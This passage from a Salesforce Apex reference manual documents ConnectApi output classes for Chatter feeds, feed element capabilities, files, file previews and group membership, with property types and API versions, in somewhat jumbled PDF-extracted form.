in a community.
• Landing—Contains all feed items that best drive user engagement
when the feed is requested. Allows clients to avoid an empty feed
when there aren’t many personalized feed items.
• Moderation—Contains all feed items that are flagged for
moderation, except direct messages. The Communities Moderation
feed is available only to users with Moderate Community Feeds
permissions.
• News—Contains all updates for people the context user follows,
groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the
context user and every feed item and comment that mentions the
context user or that mentions a group the context user is a member
of.
• PendingReview—Contains all feed items and comments that
are pending review.
• People—Contains all feed items posted by all people the context
user follows.
• Record—Contains all feed items whose parent is a specified record,
which could be a group, user, object, file, or any other standard or
custom object. When the record is a group, the feed also contains
feed items that mention the group. When the record is a user, the
feed contains only feed items on that user. You can get another user’s
record feed.
• Streams—Contains all feed items for any combination of up to
25 feed-enabled entities, such as people, groups, and records, that
the context user subscribes to in a stream.
1690

Version
• To—Contains all feed items with mentions of the context user, feed
items the context user commented on, and feed items created by
the context user that are commented on.
• UserProfile—Contains feed items created when a user changes
records that can be tracked in a feed, feed items whose parent is the
user, and feed items that @mention the user. This feed is different
than the news feed, which returns more feed items, including group
updates. You can get another user’s user profile feed.
feedUrl String Chatter REST API resource URL for a specific feed 30.0
keyPrefix String A key prefix is the first three characters of a record ID, which specifies the 30.0
entity type.
For filter feeds, this value is the key prefix associated with the entity type
used to filter this feed. All feed items in this feed have a parent whose
entity type matches this key prefix value. For non-filter feeds, this value
is null.
label String Localized label of the feed 30.0
SEE ALSO:
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.
Superclass of:
• ConnectApi.FeedItem Class
• ConnectApi.GenericFeedElement Class

body ConnectApi. Information about the feed element. 22.0
FeedBody
Important: Use the header.text
property as the default value for rendering
text because the body.text property can
be null.
1691

capabilities ConnectApi. A container for all capabilities that can be included 31.0
FeedElement with a feed element.
Capabilities
Class
createdDate Datetime An ISO 8601 format date string, for example, 31.0
2011-02-25T18:24:31.000Z.
feedElementType ConnectApi. Feed elements are the top-level objects that a feed 31.0
FeedElementType contains. The feed element type describes the
characteristics of that feed element. One of these
values:
• Bundle—A container of feed elements. A
bundle also has a body made up of message
segments that can always be gracefully degraded
to text-only values.
• FeedItem—A feed item has a single parent
and is scoped to one community or across all
communities. A feed item can have capabilities
such as bookmarks, canvas, content, comment,
link, poll. Feed items have a body made up of
message segments that can always be gracefully
• Recommendation—A recommendation is a
feed element with a recommendations capability.
A recommendation suggests records to follow,
groups to join, or applications that are helpful to
the context user.
header ConnectApi. The header is the title of the post. This property 31.0
MessageBody contains renderable plain text for all the segments
of the message. If a client doesn’t know how to
render a feed element type, it should render this text.
id String 18-character ID of the feed element. 22.0
2011-02-25T18:24:31.000Z.
parent ConnectApi. Feed element’s parent 28.0

ActorWithId
relativeCreated Datetime The created date formatted as a relative, localized 31.0

Date string, for example, “17m ago” or “Yesterday.”
1692

url String Chatter REST API URL to this feed element. 22.0
SEE ALSO:
ConnectApi.Announcement
ConnectApi.FeedElementPage
ConnectApi.PinnedFeedElements (Beta)
A container for all capabilities that can be included with a feed element.

approval ConnectApi. If a feed element has this capability, it includes 32.0
ApprovalCapability information about an approval.
Class
associated ConnectApi. If a feed element has this capability, it has platform 33.0
Actions AssociatedActions actions associated with it.
Capability
banner ConnectApi. If a feed element has this capability, it has a banner 31.0
BannerCapability motif and style.
Class
bookmarks ConnectApi. If a feed element has this capability, the context user 31.0
Bookmarks can bookmark it.
Capability Class
bundle ConnectApi. If a feed element has this capability, it has a container 31.0
BundleCapability of feed elements called a bundle.
Class
canvas ConnectApi.Canvas If a feed element has this capability, it renders a 32.0

Capability Class canvas app.
caseComment ConnectApi.Case If a feed element has this capability, it has a case 32.0
CommentCapability comment on the case feed.
Class
chatterLikes ConnectApi. If a feed element has this capability, the context user 31.0
ChatterLikes can like it. Exposes information about existing likes.
Capability Class
comments ConnectApi. If a feed element has this capability, the context user 31.0
CommentsCapability can add a comment to it.
Class
1693

content ConnectApi. If a comment has this capability, it has a file 32.0–35.0
ContentCapability attachment.
Most ConnectApi.ContentCapability
properties are null if the content has been deleted
from the feed element or if the access has changed
to private.
Important: In version 36.0 and later, use the

files property.
dashboardComponent ConnectApi. If a feed element has this capability, it has a 32.0

Snapshot DashboardComponent dashboard component snapshot. A snapshot is a
SnapshotCapability static image of a dashboard component at a specific
point in time.
directMessage ConnectApi. If a feed element has this capability, it’s a direct 39.0
DirectMessage message.
Capability
edit ConnectApi. If a feed element has this capability, users who have 34.0
EditCapability permission can edit it.
emailMessage ConnectApi. If a feed element has this capability, it has an email 32.0
EmailMessage message from a case.
Capability
enhancedLink ConnectApi. If a feed element has this capability, it has a link that 32.0
EnhancedLink may contain supplemental information like an icon,
Capability a title, and a description.
extensions ConnectApi. If a feed element has this capability, it has one or 40.0
ExtensionsCapability more extension attachments.
feedEntityShare ConnectApi. If a feed element has this capability, a feed entity is 39.0
FeedEntity shared with it.
ShareCapability
files ConnectApi. If a feed element has this capability, it has one or 36.0
FilesCapability more file attachments.
interactions ConnectApi. If a feed element has this capability, it has information 37.0
Interactions about user interactions.
Capability
link ConnectApi. If a feed element has this capability, it has a link. 32.0
LinkCapability
mediaReferences ConnectApi. If a feed element has this capability, it has one or 41.0
MediaReference more media references.
Capability
1694

moderation ConnectApi. If a feed element has this capability, users in a 31.0
Moderation community can flag it for moderation.
Capability Class
mute ConnectApi. If a feed element has this capability, users can mute 35.0
MuteCapability it.
origin ConnectApi. If a feed element has this capability, it was created 33.0
OriginCapability by a feed action.
pin (Beta) ConnectApi. If a feed element has this capability, users who have 41.0
PinCapability permission can pin it to a feed.
(Beta)
Note: This release contains a beta version of
pinned posts, which means it’s a high-quality
feature with known limitations. Post pinning
isn’t generally available unless or until
Salesforce announces its general availability
in documentation or in press releases or public
statements. We can’t guarantee general
availability within any particular time frame
or at all. Make your purchase decisions only
on the basis of generally available products
and features. You can provide feedback and
suggestions for pinned posts in the Trailblazer
Community.
poll ConnectApi. If a feed element has this capability, it includes a poll. 31.0
PollCapability
Class
questionAndAnswers ConnectApi. If a feed element has this capability, it has a question 31.0
QuestionAndAnswers and comments on the feed element are answers to
Capability Class the question.
readBy ConnectApi. If a feed element has this capability, the context user 40.0
ReadByCapability can mark it as read.
recommendations ConnectApi. If a feed element has this capability, it has a 32.0

Recommendations recommendation.
Capability
recordSnaphot ConnectApi. If a feed element has this capability, it contains all the 32.0
RecordSnapshot snapshotted fields of a record for a single create
Capability record event.
socialPost ConnectApi. If a feed element has this capability, it can interact 36.0
SocialPostCapability with a social post on a social network.
status ConnectApi. If a feed post or comment has this capability, it has 37.0
StatusCapability a status that determines its visibility.
1695

topics ConnectApi. If a feed element has this capability, the context user 31.0
TopicsCapability can add topics to it. Topics help users organize and
Class discover conversations.
trackedChanges ConnectApi. If a feed element has this capability, it contains all 32.0
TrackedChanges changes to a record for a single tracked change event.
Capability
upDownVote ConnectApi. If a feed post or comment has this capability, users 41.0
UpDownVoteCapability can vote it up or down.
SEE ALSO:
ConnectApi.FeedElementCapability Class
A feed element capability, which defines the characteristics of a feed element.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed
element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
• ConnectApi.AssociatedActionsCapability Class
• ConnectApi.ApprovalCapability Class
• ConnectApi.BannerCapability Class
• ConnectApi.BookmarksCapability Class
• ConnectApi.BundleCapability Class
• ConnectApi.CanvasCapability Class
• ConnectApi.CaseCommentCapability Class
• ConnectApi.ChatterLikesCapability Class
• ConnectApi.CommentsCapability Class
• ConnectApi.ContentCapability
• ConnectApi.DashboardComponentSnapshotCapability
• ConnectApi.DirectMessageCapability
• ConnectApi.EmailMessageCapability
• ConnectApi.EnhancedLinkCapability
• ConnectApi.ExtensionsCapability
• ConnectApi.FeedEntityShareCapability
1696
• ConnectApi.FilesCapability
• ConnectApi.InteractionsCapability
• ConnectApi.LinkCapability
• ConnectApi.MediaReferenceCapability
• ConnectApi.ModerationCapability Class
• ConnectApi.MuteCapability
• ConnectApi.OriginCapability
• ConnectApi.PinCapability (Beta)
• ConnectApi.PollCapability Class
• ConnectApi.QuestionAndAnswersCapability Class
• ConnectApi.ReadByCapability
• ConnectApi.RecommendationsCapability
• ConnectApi.RecordSnapshotCapability
• ConnectApi.SocialPostCapability
• ConnectApi.StatusCapability
• ConnectApi.TopicsCapability Class
• ConnectApi.TrackedChangesCapability
• ConnectApi.UpDownVoteCapability
• ConnectApi.VerifiedCapability
This class doesn’t have any properties.
ConnectApi.FeedElementPage
A paged collection of ConnectApi.FeedElement objects.

elements List<ConnectApi. Collection of feed elements. 31.0

FeedElement
Class>
isModifiedToken String An opaque polling token to use in the since 31.0

parameter of the ChatterFeeds.isModified
method. The token describes when the feed was last
modified.
Important: This feature is available through

a Feed Polling pilot program. This pilot
program is closed and not accepting new
participants.
isModifiedUrl String A Chatter REST API URL with a since request 31.0
parameter that contains an opaque token that
1697

describes when the feed was last modified. Returns
null if the feed isn’t a news feed. Use this URL to
poll a news feed for updates.
Important: This feature is available through

a Feed Polling pilot program. This pilot
program is closed and not accepting new
participants.
doesn’t exist, a
returned.
updatesToken String A token to use in a request to the 31.0

ConnectApi.ChatterFeeds.getFeedElementsUpdatedSince
method.
updatesUrl String A Chatter REST API feed resource containing the feed 31.0
elements that have been updated since the feed was
refreshed. If the feed doesn’t support this feature, the
value is null.
SEE ALSO:
ConnectApi.BundleCapability Class
ConnectApi.Feed Class
ConnectApi.FeedEnabledEntity
An entity that can have feeds associated with it.

id String The 18-character ID of the record. 39.0
motif ConnectApi.Motif Small, medium, and large icons indicating the 39.0
record's type.
name String The localized name of the record. 39.0
type String The type of the record. 39.0
1698

url String URL to the record. 39.0
SEE ALSO:
ConnectApi.ChatterStream
ConnectApi.FeedEntityIsEditable
Indicates if the context user can edit a feed element or comment.

areAttachments Boolean true if the context user can add and remove 36.0
EditableByMe attachments on the feed element or comment,
false otherwise.
feedEntityUrl String URL of the feed element or comment. 34.0
isEditableByMe Boolean true if the context user can edit the feed element 34.0
or comment, false otherwise.
ConnectApi.FeedEntityNotAvailableSummary
A summary when the feed entity isn’t available.
This output class is a subclass of ConnectApi.FeedEntitySummary and has no properties.
ConnectApi.FeedEntityShareCapability
If a feed element has this capability, a feed entity is shared with it.

feedEntity ConnectApi. The summary of the feed entity that is shared with 39.0
FeedEntity the feed element.
Summary
SEE ALSO:
The summary of a feed entity that is shared with a feed element.
Superclass of:
1699
• ConnectApi.FeedItemSummary
• ConnectApi.FeedEntityNotAvailableSummary

actor ConnectApi.Actor Entity that created the feed entity. 39.0
body ConnectApi. Information about the feed entity. 39.0

FeedBody

2011-02-25T18:24:31.000Z, when the entity was
created.
feedElementType ConnectApi. Type of feed entity. 39.0

FeedElementType • Bundle—A container of feed elements. A
bundle also has a body made up of message
segments that can always be gracefully degraded
to text-only values.
• FeedItem—A feed item has a single parent
and is scoped to one community or across all
communities. A feed item can have capabilities
such as bookmarks, canvas, content, comment,
link, poll. Feed items have a body made up of
message segments that can always be gracefully
• Recommendation—A recommendation is a
feed element with a recommendations capability.
A recommendation suggests records to follow,
groups to join, or applications that are helpful to
the context user.
id String 18-character ID of the feed entity. 39.0
isEntityAvailable Boolean Specifies whether the entity is available. If false, 39.0

either the user doesn’t have access to the entity or
the entity was deleted.
parent ConnectApi. Parent of the feed entity. 39.0

ActorWithId
relativeCreatedDate String Relative created date, for example, “2h ago.” 39.0
url String URL to the feed entity. 39.0
SEE ALSO:
ConnectApi.FeedEntityShareCapability
1700
ConnectApi.FeedFavorite Class

community ConnectApi.Reference Information about the community that contains the 28.0
favorite
createdBy ConnectApi.User Favorite’s creator 28.0

Summary
feedUrl String Chatter REST API URL identifying the feed item for this 28.0
favorite
id String Favorite’s 18–character ID 28.0
lastViewDate Datetime ISO8601 date string, for example, 28.0

2011-02-25T18:24:31.000Z
name String Favorite’s name 28.0
searchText String If the favorite is from a search, contains the search text, 28.0
otherwise, an empty string
target ConnectApi.Reference A reference to the topic if applicable, null otherwise 28.0
type ConnectApi. An empty string or one of the following values: 28.0

FeedFavoriteType Enum • ListView
• Search
• Topic
url String Chatter REST API URL to this favorite 28.0
user ConnectApi.User Information about the user who saved this favorite 28.0
Summary
SEE ALSO:
ConnectApi.FeedFavorites Class
ConnectApi.FeedFavorites Class

favorites List<ConnectApi.Feed Complete list of favorites 28.0
Favorite>
total Integer Total number of favorites 28.0
Subclass of ConnectApi.FeedElement Class as of 31.0.
1701

Version
actor ConnectApi.Actor The entity that created the feed item. 28.0
attachment ConnectApi.FeedItem Information about the attachment. If there is no 28.0–31.0

Attachment attachment, returns null.

inherited capabilities property.
canShare Boolean Indicates whether the feed item can be shared. 28.0–38.0
If a feed item has multiple file attachments and at least
one attachment has been deleted or is inaccessible,
the feed item can’t be shared. The canShare value
is incorrectly set to true in these cases.

isSharable property.
clientInfo ConnectApi.ClientInfo Information about the connected app used to 28.0

authenticate the connection.
comments ConnectApi.CommentPage First page of comments for this feed item. 28.0–31.0

inherited
capabilities.comments.page
property.
event Boolean true if feed item is created due to an event change, 22.0
false otherwise.
hasVerified Boolean true if the feed item has a verified comment, 41.0
Comment otherwise false.
isBookmarked Boolean true if the context user has bookmarked this feed 28.0–31.0
ByCurrentUser item, otherwise, false.

inherited
capabilities.bookmarks.isBookmarkedByCurrentUser
property.
isDelete Boolean If this property is true the comment cannot be 28.0

Restricted deleted by the context user. If it is false, it might
be possible for the context user to delete the
comment, but it is not guaranteed.
1702

Version
isLikedBy Boolean true if the context user has liked this feed item, 28.0–31.0
CurrentUser otherwise, false.

inherited
capabilities.chatterLikes.isLikedByCurrentUser
property.
isSharable Boolean Indicates whether the feed item can be shared. 39.0
likes ConnectApi.ChatterLike First page of likes for this feed item. 28.0–31.0
Page
inherited
capabilities.chatterLikes.page
property.
likesMessage ConnectApi.MessageBody A message body the describes who likes the feed item. 28.0–31.0

inherited
capabilities.chatterLikes.likesMessage
property.
moderationFlags ConnectApi. Information about the moderation flags on a feed 29.0–30.0

ModerationFlags item. If
ConnectApi.Features.communityModeration

inherited
capabilities.moderation.moderationFlags
property.
myLike ConnectApi.Reference If the context user has liked the feed item, this 28.0–31.0
property is a reference to the specific like, otherwise,
null.

inherited
capabilities.chatterLikes.myLike
property.
originalFeedItem ConnectApi.Reference A reference to the original feed item if this feed item 28.0
is a shared feed item, otherwise, null.
originalFeed ConnectApi.Actor If this feed item is a shared feed item, returns 28.0
ItemActor information about the original poster of the feed item,
otherwise, returns null.
1703

Version
photoUrl String URL of the photo associated with the feed item 28.0
preamble ConnectApi.MessageBody A collection of message segments, including the 28.0-30.0

unformatted text of the message that you can use as
the title of a feed item. Message segments include
name, link, and motif icon information for the actor
that created the feed item.
Important: For API versions 29.0 and 30.0,

use the
ConnectApi.FeedItem.preamble.text
property as the default case to render text. For
API versions 31.0 and later, use the
ConnectApi.FeedElement.header.text
property as the default case to render text.
topics ConnectApi.FeedItemTopicPage Topics for this feed item. 28.0–31.0

inherited
capabilities.topics.items
property.
type ConnectApi.FeedItemType Specifies the type of feed item, such as a content post 28.0
or a text post.

capabilities property to determine
what can be done with a feed item. See
Capabilities.
• ActivityEvent—Feed item generated in
Case Feed when an event or task associated with
a parent record with a feed enabled is created or
updated.
• AdvancedTextPost—A feed item with
advanced text formatting, such as a group
announcement post.
• ApprovalPost—Feed item with an approval
capability. Approvers can act on the feed item
parent.
• AttachArticleEvent—Feed item
generated when an article is attached to a case
in Case Feed.
• BasicTemplateFeedItem—Feed item
with an enhanced link capability.
1704

Version
• CallLogPost—Feed item generated when a
call log is saved to a case in Case Feed.
• CanvasPost—Feed item generated by a
canvas app in the publisher or from Chatter REST
API or Chatter in Apex. The post itself is a link to a
canvas app.
• CaseCommentPost—Feed item generated
when a case comment is saved in Case Feed.
• ChangeStatusPost—Feed item generated
when the status of a case is changed in Case Feed.
• ChatTranscriptionPost—Feed item
generated in Case Feed when a Live Agent chat
transcript is saved to a case.
• CollaborationGroupCreated—Feed
item generated when a new public group is
created. Contains a link to the new group.
• CollaborationGroupUnarchived—Deprecated.
Feed item generated when an archived group is
activated.
• ContentPost—Feed item with a content
capability.
• CreateRecordEvent—Feed item that
describes a record created in the publisher.
• DashboardComponentAlert—Feed item
with a dashboard alert.
• DashboardComponentSnapshot—Feed
item with a dashboard component snapshot
capability.
• EmailMessageEvent—Feed item generated
when an email is sent from a case in Case Feed.
• FacebookPost—Deprecated. Feed item
generated when a Facebook post is created from
a case in Case Feed.
• LinkPost—Feed item with a link capability.
• MilestoneEvent—Feed item generated
when a case milestone is either completed or
reaches a violation status. Contains a link to the
case milestone.
• PollPost—Feed item with a poll capability.
Viewers of the feed item are allowed to vote on
the options in the poll.
1705

Version
• ProfileSkillPost—Feed item generated
when a skill is added to a user’s profile.
• QuestionPost—Feed item generated when
a question is asked.
As of API version 33.0, a feed item of this type can
have a content capability and a link capability.
• ReplyPost—Feed item generated by a Chatter

Answers reply.
• RypplePost—Feed item generated when a
user posts thanks.
• SocialPost—Feed item generated when a
social post is created from a case in Case Feed.
• TextPost—Feed item containing text only.
• TrackedChange—Feed item created when
one or more fields on a record have been
changed.
• UserStatus—Deprecated. A user's post to
their own profile.
visibility ConnectApi.FeedItem Specifies the type of users who can see a feed item. 28.0
VisibilityType • AllUsers—Visibility is not limited to internal
users.
internal users.
ConnectApi.FeedItemAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementCapability Class
is used.
Subclasses:
• ConnectApi.ApprovalAttachment Class
• ConnectApi.BasicTemplateAttachment Class
• ConnectApi.CanvasTemplateAttachment Class
• ConnectApi.EmailMessage Class
• ConnectApi.CaseComment Class
• ConnectApi.ContentAttachment Class
• ConnectApi.DashboardComponentAttachment Class
• ConnectApi.FeedPoll Class
• ConnectApi.LinkAttachment Class
1706
• ConnectApi.RecordSnapshotAttachment Class
• ConnectApi.TrackedChangeAttachment Class
subclasses.
ConnectApi.FeedItemPage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementPage is used.

Version
currentPageToken String Token identifying the current page. 28.0–31.0
currentPageUrl String Chatter REST API URL identifying the current page. 28.0–31.0
isModifiedToken String An opaque polling token to use in the since parameter of 28.0–31.0
the ChatterFeeds.isModified method. The token
describes when the feed was last modified.
Important: This feature is available through a Feed

Polling pilot program. This pilot program is closed and
not accepting new participants.
isModifiedUrl String A Chatter REST API URL with a since request parameter 28.0–31.0
that contains an opaque token that describes when the feed
was last modified. Returns null if the feed isn’t a news
feed. Use this URL to poll a news feed for updates.
Important: This feature is available through a Feed

Polling pilot program. This pilot program is closed and
not accepting new participants.
items List<ConnectApi.FeedItem> List of feed items 28.0–31.0
nextPageToken String Token identifying the next page, or null if there isn’t a next 28.0–31.0
page.
nextPageUrl String Chatter REST API URL identifying the next page, or null if 28.0–31.0
there isn’t a next page. Check whether this value is null
updatesToken String Token to use in an updatedSince parameter, or null 30.0–31.0

if not available.
1707

Version
updatesUrl String A Chatter REST API resource with a query string containing 30.0–31.0
the value of the updatesToken property. The resource
returns the feed items that have been updated since the last
request. Use the URL as it is—do not modify it. Property is
null if not available.
A feed item summary.
Subclass of ConnectApi.FeedEntitySummary.

capabilities ConnectApi. Container for all capabilities that can be included 39.0
FeedElement with a feed item.
Capabilities
header ConnectApi. Title of the post. This property contains renderable 39.0
MessageBody plain text for all the message segments. If a client
doesn’t know how to render a feed element type, it
should render this text.
modifiedDate Datetime When the feed item was modified in the form of an 39.0
ISO8601 date string, for example,
2011-02-25T18:24:31.000Z.
originalFeedItem ConnectApi. Reference to the original feed item if this feed item 39.0
Reference is a shared feed item; otherwise, null.
originalFeed ConnectApi.Actor If this feed item is a shared feed item, information 39.0
ItemActor about the original poster of the feed item; otherwise,
null.
photoUrl String URL of the photo associated with the feed item. 39.0
visibility ConnectApi. Specifies who can see a feed item. 39.0

FeedItemVisibility • AllUsers—Visibility is not limited to internal
users.
internal users.
ConnectApi.FeedItemTopicPage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TopicsCapability Class is used.
1708

Version
canAssignTopics Boolean true if a topic can be assigned to the feed item, false 28.0–31.0
otherwise
topics List<ConnectApi. List of topics 28.0–31.0

Topic>
ConnectApi.FeedModifiedInfo Class
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.

Version
isModified Boolean true if the news feed has been modified since the last time it was 28.0
polled; false otherwise. Returns null if the feed is not a news
feed.
isModifiedToken String An opaque polling token to use in the since parameter of the 28.0
ChatterFeeds.isModified method. The token describes when
the feed was last modified.
nextPollUrl String A Chatter REST API URL with a since request parameter that contains 28.0
an opaque token that describes when the feed was last modified.
Returns null if the feed isn’t a news feed. Use this URL to poll a news
feed for updates.
ConnectApi.FeedPoll Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.PollCapability Class is used.

This object is returned as the attachment of ConnectApi.FeedItem objects where the type property is PollPost.

choices List<ConnectApi. List of choices for poll. 28.0–31.0
FeedPoll
Choice>
myChoiceId String ID of the poll choice that the context user has voted for in this poll. 28.0–31.0
Returns null if the context user hasn’t voted.
totalVoteCount Integer Total number of votes cast on the feed poll item. 28.0–31.0
1709
ConnectApi.FeedPollChoice Class

id String Poll choice ID 28.0
position Integer The location in the poll where this poll choice exists. The first poll 28.0
choice starts at 1.
text String Label text associated with the poll choice 28.0
voteCount Integer Total number of votes for this poll choice 28.0
voteCountRatio Double The ratio of total number of votes for this poll choice to all votes cast 28.0
in the poll. Multiply the ratio by 100 to get the percentage of votes
cast for this poll choice.
SEE ALSO:
ConnectApi.PollCapability Class
ConnectApi.FieldChangeSegment Class
Subclass of ConnectApi.ComplexSegment Class
SEE ALSO:
ConnectApi.MoreChangesSegment Class
ConnectApi.FieldChangeNameSegment Class
ConnectApi.FieldChangeValueSegment Class

valueType ConnectApi. Specifies the value type of a field change: 28.0
FieldChange • NewValue—A new value
ValueType Enum
• OldValue—An old value
url String URL value if the field change is to a URL field (such as 28.0
a web address)
1710
ConnectApi.File Class
Superclass of ConnectApi.FileSummary Class

content Datetime An ISO 8601 format date string, for example, 32.0
ModifiedDate 2011-02-25T18:24:31.000Z. File-specific modified date, which
is updated only for direct file operations, such as rename.
Modifications to the file from outside of Salesforce can update
this date.
contentSize Integer Size of the file in bytes. 28.0
contentUrl String If the file is a link, returns the URL, otherwise, the string null. 28.0
createdDate Datetime ISO8601 date string when the file was created. 41.0
description String Description of the file. 28.0
downloadUrl String URL to the file, that can be used for downloading the file. 28.0
fileType String Type of file, such as PDF, PowerPoint. 28.0
flashRendition String Specifies if a flash preview version of the file has been 28.0
Status rendered.
isInMyFileSync Boolean true if the file is synced with Salesforce Files Sync; false 28.0
otherwise.
isMajorVersion Boolean true if the file is a major version; false if the file is a 31.0
minor version. Major versions can’t be replaced.
mimeType String File’s MIME type. 28.0
moderationFlags ConnectApi. Information about the moderation flags on a file. If 30.0

ModerationFlags ConnectApi.Features.communityModeration
2011-02-25T18:24:31.000Z. Modifications to the file from
within Salesforce update this date.
name String Name of the file. 28.0
origin String Specifies the file source. Valid values are: 28.0
• Chatter—file came from Chatter
• Content—file came from content
1711

owner ConnectApi.User File’s owner. 28.0
Summary
pdfRendition String Specifies if a PDF preview version of the file has been 28.0
Status rendered.
publishStatus ConnectApi. Specifies the publish status of the file. 28.0

FilePublishStatus • PendingAccess—File is pending publishing.
• PrivateAccess—File is private.
• PublicAccess—File is public.
renditionUrl String URL to the rendition for the file. 28.0
renditionUrl String URL to the 240 x 180 rendition resource for the file. For shared 29.0
240By180 files, renditions process asynchronously after upload. For
private files, renditions process when the first file preview is
requested, and aren’t available immediately after the file is
uploaded.
renditionUrl String URL to the 720 x 480 rendition resource for the file. For shared 29.0
720By480 files, renditions process asynchronously after upload. For
private files, renditions process when the first file preview is
requested, and aren’t available immediately after the file is
uploaded.

• Restricted—Resharing of the file is restricted.
sharingPrivacy ConnectApi. Specifies the sharing privacy of a file. Values are: 41.0
FileSharingPrivacy • None—File is visible to anyone with record access.
• PrivateOnRecords—File is private on records.
sharingRole ConnectApi. Specifies the sharing role of the file. 28.0

FileSharingType • Admin—Owner permission, but doesn’t own the file.
• Collaborator—Viewer permission, and can edit,
change permissions, and upload a new version of a file.
• Owner—Collaborator permission, and can make a file
private, and delete a file.
• Viewer—Can view, download, and share a file.
• WorkspaceManaged—Permission controlled by the
library.
systemModstamp Datetime ISO8601 date string indicating when a user or any automated 41.0
system process, such as a trigger, updated the file.
textPreview String Text preview of the file if available; null otherwise. 30.0
1712

thumb120By90 String Specifies the rendering status of the 120 x 90 preview image 28.0
RenditionStatus of the file. One of these values:
versionNumber String File’s version number. 28.0
ConnectApi.FilePreview
A file preview.

format ConnectApi. The format of the preview. Values are: 39.0
FilePreviewFormat • Pdf—Preview format is PDF.

• ThumbnailBig—Preview format is 720 x 480
PNG.
• ThumbnailTiny—Preview format is 120 x
90 PNG.
previewUrlCount Integer The total number of preview URLs for this preview 39.0
format.
1713

previewUrls List<ConnectApi. A list of file preview URLs. 39.0
FilePreviewUrl>
status ConnectApi. The availability status of the preview. Values are: 39.0
FilePreviewStatus • Available—Preview is available.
• InProgress—Preview is being processed.

• NotAvailable—Preview is unavailable.
• NotScheduled—Generation of the preview
isn’t scheduled yet.
url String The URL for the file preview. 39.0
SEE ALSO:
ConnectApi.FilePreviewCollection
ConnectApi.FilePreviewCollection
A collection of file previews.

fileId String ID of the file. 39.0
previews List<ConnectApi. Previews supported for the file. 39.0

FilePreview>
url String URL to the current page of file previews. 39.0
versionNumber String Version number of the file. 40.0
SEE ALSO:
ConnectApi.FilePreviewUrl
A URL to a file preview.

pageNumber Integer Preview page number starting from zero, or null 39.0
for PDF files.
previewUrl String File preview URL. 39.0
SEE ALSO:
ConnectApi.FilePreview
1714
ConnectApi.FilesCapability
If a feed element has this capability, it has one or more file attachments.

items List<ConnectApi. Collection of files. 36.0
Content>
SEE ALSO:
ConnectApi.FileSummary Class
A file summary
Subclass of ConnectApi.File Class
ConnectApi.FollowerPage Class

followers List<ConnectApi. List of subscriptions 28.0

Subscription>
nextPageUrl String Chatter REST API URL identifying the next page, or null if 28.0
previousPageUrl String Chatter REST API URL identifying the previous page, or null 28.0
if there isn’t a previous page.
total Integer Total number of followers across all pages 28.0
ConnectApi.FollowingCounts Class

people Integer Number of people user is following 28.0
records Integer Number of records user is following 28.0

Topics are a type of record that can be followed as of version 29.0.
1715

total Integer Total number of items user is following 28.0
SEE ALSO:
ConnectApi.FollowingPage Class

following List<ConnectApi. List of subscriptions 28.0

Subscription>
doesn’t exist, a
ConnectApi.NotFoundException error
is returned.
previousPageUrl String Chatter REST API URL identifying the previous page, 28.0
or null if there isn’t a previous page.
total Integer Total number of records being followed across all 28.0
pages
ConnectApi.GenericBundleCapability Class
If a feed element has this capability, the feed element has a group of other feed elements condensed into one feed element. This group
is called a bundle.
Subclass of ConnectApi.BundleCapability Class.
ConnectApi.GenericFeedElement Class
A concrete implementation of the abstract ConnectApi.FeedElement class.
Subclass of ConnectApi.FeedElement Class
ConnectApi.GlobalInfluence Class

percentile String Percentile value for the user’s influence rank within the organization 28.0
or community
1716

rank Integer Number indicating the user’s influence rank, relative to all other 28.0
users within the organization or community
SEE ALSO:
ConnectApi.GroupChatterSettings Class
A user’s Chatter settings for a specific group.

emailFrequency ConnectApi. The frequency with which a group member receives 28.0
GroupEmail email from a group.
Frequency Enum
ConnectApi.GroupInformation Class
Describes the Information section of the group. If the group is private, this section is visible only to members.

text String The text of the “Information” section of the group. 28.0
title String The title of the “Information” section of the group. 28.0
SEE ALSO:
ConnectApi.ChatterGroupDetail Class
ConnectApi.GroupMember Class

id String User’s 18-character ID 28.0
lastFeed Datetime The date and time at which the group member last 31.0
AccessDate accessed the group feed.
role ConnectApi. Specifies the type of membership the user has with 28.0
GroupMembership the group, such as group owner, manager, or member.
Type Enum • GroupOwner
• GroupManager
• NotAMember
• StandardMember
1717

url String Chatter REST API URL to this membership 28.0
user ConnectApi.User Information about the user who is subscribed to this 28.0
Summary group
SEE ALSO:
ConnectApi.GroupMemberPage Class
ConnectApi.GroupMemberPage Class

Version
members List<ConnectApi. List of group members 28.0

GroupMember>
myMembership ConnectApi. If the context user is a member of this group, returns 28.0
Reference information about that membership, otherwise, null.
totalMemberCount Integer Total number of group members across all pages 28.0
ConnectApi.GroupMembershipRequest Class

Version
createdDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0
id String ID for the group membership request object 28.0
lastUpdateDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0
requestedGroup ConnectApi. Information about the group the context user is requesting 28.0
Reference to join.
responseMessage String A message for the user if their membership request is 28.0
declined. The value of this property is used only when the
value of the status property is Declined.
The maximum length is 756 characters.
1718

Version
status ConnectApi. The status of a request to join a private group. Values are: 28.0
GroupMembership • Accepted
RequestStatus
• Declined
Enum
• Pending
url String URL of the group membership request object. 28.0
user ConnectApi.User Information about the user requesting membership in a 28.0

Summary group.
SEE ALSO:
ConnectApi.GroupMembershipRequests Class
ConnectApi.GroupMembershipRequests Class

requests List<ConnectApi.Group Information about group membership requests. 28.0
MembershipRequest>
total Integer The total number of requests. 28.0
ConnectApi.GroupRecord Class
A record associated with a group.

Version
id String Record’s 18-character ID 33.0
record ConnectApi. Information about the record associated with the group 33.0
ActorWithId
url String Record URL 33.0
SEE ALSO:
ConnectApi.GroupRecordPage Class
ConnectApi.GroupRecordPage Class
